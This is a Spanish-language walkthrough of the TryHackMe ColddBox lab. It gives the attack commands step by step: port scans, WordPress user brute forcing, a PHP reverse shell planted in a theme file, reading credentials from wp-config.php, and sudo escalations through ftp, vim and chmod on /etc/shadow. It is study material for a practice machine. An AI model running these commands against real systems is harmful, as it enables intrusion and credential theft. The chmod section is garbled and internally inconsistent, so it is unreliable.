Hoy os traemos Resolución Máquina TryHackMe ColddBox:Easy paso a paso, es una máquina sencilla, de las primeras que te propone la plataforma para iniciarse en el mundo del Hacking, corresponde a la parte de Pentesting WEB con una escalada de privilegios que nos permite varias maneras de realizarla.

Veremos cómo resolverla paso a paso, e intentado explicar cada uno de los pasos y que conseguimos con cada uno de ellos, la idea de esta guía es ayudarte a resolverla si tienes dudas, pero no a que la resuelvas únicamente por esta vía.

Resolución Máquina TryHackMe ColddBox

Escaneo con NMAP

El primer paso es realizar un escaneo de puertos utilizando NMAP para identificar los servicios y puertos abiertos en la máquina objetivo. El comando utilizado es el siguiente:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_ColddBox
Captura De Pantalla 2023 05 29 A Las 12.57.12

Explicación de los comandos:

  • -p-: Escanea todos los puertos.
  • --open: Muestra solo los puertos abiertos.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta las versiones de los servicios.
  • -sS: Realiza un escaneo TCP SYN.
  • --min-rate 5000: Establece la tasa mínima de paquetes de envío.
  • -vvv: Muestra un nivel detallado de verbosidad.
  • -n: No resuelve nombres de host.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como activas.
  • ipmaquina: Es la dirección IP de la máquina objetivo.
  • -oN nmap_ColddBox: Guarda los resultados del escaneo en un archivo llamado “nmap_ColddBox”.

Identificación de servicios en los puertos

Una vez realizado el escaneo, se observa que los puertos 80 (http) y 4512 (ssh) están abiertos. Además, se identifican los siguientes servicios en esos puertos:

  1. Puerto 80: WordPress 4.1.31
  2. Puerto 4512: OpenSSH 7.2p2

Análisis de WordPress

Se observa que se encuentra publicado un sitio WordPress en el puerto 80 y que tanto el wp-admin como el archivo xmlrpc.php están accesibles.

Descubrimiento de directorios

Se realiza un escaneo de directorios utilizando la herramienta dirb en la URL mediante dirb http://ipmaquina:80 para encontrar otros directorios accesibles.

Resultados de dirb

El escaneo de dirb revela que los siguientes directorios son accesibles:

  1. wp-admin
  2. wp-content
  3. wp-includes
  4. xmlrpc.php

Debido a estos resultados, se decide realizar un escaneo más detallado utilizando la herramienta wpscan.

Análisis de WordPress con wpscan

Se utiliza el comando wpscan para obtener más información sobre el sitio WordPress en la máquina objetivo. El comando utilizado es el siguiente:

wpscan --url http://ipmaquina -e vp,u

Explicación de los comandos:

  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -e vp,u: Enumera los plugins instalados y los usuarios.

Se obtienen los siguientes resultados:

  1. Tema utilizado: twentyfifteen
  2. Usuarios encontrados: hugo, c0ldd, philip
Captura De Pantalla 2023 05 29 A Las 13.11.55

Fuerza bruta de contraseñas

Se intenta realizar un ataque de fuerza bruta a los usuarios encontrados utilizando el diccionario rockyou. El comando utilizado es:

wpscan --url http://ipmaquina -U hugo,c0ldd,philip -P /ruta/rockyou.txt
Explicación de los comandos:
  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -U hugo,c0ldd,philip: Especifica los usuarios a los que se les realizará el ataque de fuerza bruta.
  • -P /ruta/rockyou.txt: Especifica la ubicación del diccionario de contraseñas (rockyou.txt en este caso).
Captura De Pantalla 2023 05 29 A Las 13.27.07

Se encuentra la contraseña para el usuario c0ldd y se procede a acceder al sitio WordPress con este usuario. Al iniciar sesión, se observa que se ha obtenido el rol de administrador, lo que permite realizar un ataque de shell inverso PHP.

Preparación del ataque de shell inverso PHP

Se modifica el archivo 404.php del tema twentyfifteen para insertar el código necesario para un ataque de shell inverso PHP. El código utilizado se obtiene de https://github.com/pentestmonkey/php-reverse-shell. Debemos cambiar la parte donde pone $ip.

Captura De Pantalla 2023 05 29 A Las 13.26.10

Captura de tráfico con Netcat

Se lanza Netcat en modo de escucha para capturar el tráfico en el puerto 1234. El comando utilizado es el siguiente:

nc -nvlp 1234

Ejecución del ataque de shell inverso

Se accede a la URL http://ipmaquina/wp-content/themes/twentyfifteen/404.php desde el navegador para iniciar el ataque de shell inverso PHP y obtener acceso a la máquina objetivo.

Captura De Pantalla 2023 05 29 A Las 13.30.16

Obtención de la contraseña de usuario

Una vez dentro, ejecutamos el comando script /dev/null -c bash para obtener una shell interactiva.

Luego, se utiliza el comando cat /var/www/html/wp-config.php | grep “DB_PASSWORD” para ver la contraseña del usuario c0ldd.

Escalada de privilegios

Se utiliza el comando su c0ldd con la contraseña obtenida para cambiar al usuario c0ldd y así escalar privilegios, ahora debemos de buscar la primera bandera, user.txt, búscala y tienes la primera bandera localizada.

Comprobación de los permisos de sudo

Se ejecuta el comando sudo -l para verificar los permisos de sudo del usuario c0ldd. Se observa que tiene permisos de root para ejecutar /usr/bin/vim, /bin/chmod y /usr/bin/ftp.

Escalada de Privilegios

Ahora veremos las tres opciones de escalada de privilegios que nos permite realizar esta máquina.

Escalada de privilegios mediante FTP

Se ejecuta el comando sudo ftp para iniciar una sesión de FTP con privilegios de root. Una vez dentro, se ejecuta !/bin/sh para obtener una shell interactiva con privilegios de root.

Captura De Pantalla 2023 05 29 A Las 14.04.14

Una vez tengas la escalada de privilegios busca la siguiente bandera root.txt.

Escalada de privilegios a través de /usr/bin/vim

  1. Ejecuta el siguiente comando para utilizar Vim con privilegios de root:
sudo vim -c ':!/bin/sh'

Esto abrirá Vim y ejecutará un comando de shell para obtener una shell interactiva con privilegios de root.

Escalada de privilegios a través de /usr/bin/chmod

  1. Establece la variable LFILE con la ruta al archivo /etc/shadow:
LFILE=/etc/shadow
  1. Utiliza el siguiente comando para cambiar los permisos del archivo /etc/shadow:
bashCopy codesudo chmod 6777 $LFILE

Esto otorgará permisos de lectura, escritura y ejecución a todos los usuarios en el archivo /etc/shadow.

  1. Para verificar que la escalada de privilegios fue exitosa, puedes utilizar el siguiente comando para encontrar la línea correspondiente al usuario c0ldd en el archivo /etc/shadow:
cat /etc/shadow | grep c0ldd
  1. Abre el archivo /etc/shadow con el editor vi:
vi /etc/shadow

Esto te permitirá editar el archivo y realizar cambios si es necesario.

  1. Finalmente, puedes cambiar al usuario c0ldd utilizando el siguiente comando:
su -c0ldd

Reemplaza <c0ldd password> con la contraseña del usuario c0ldd.

Esto concluye el manual de pentesting basado en los pasos y comandos proporcionados. Recuerda que el uso de estas técnicas y herramientas debe ser legal y con el consentimiento explícito del propietario del sistema que estás evaluando.

Si deseas saber mas sobre nosotros no dudes en ponerte en contacto con nosotros así como te invitamos a unirte a nuestro canal de Telegram.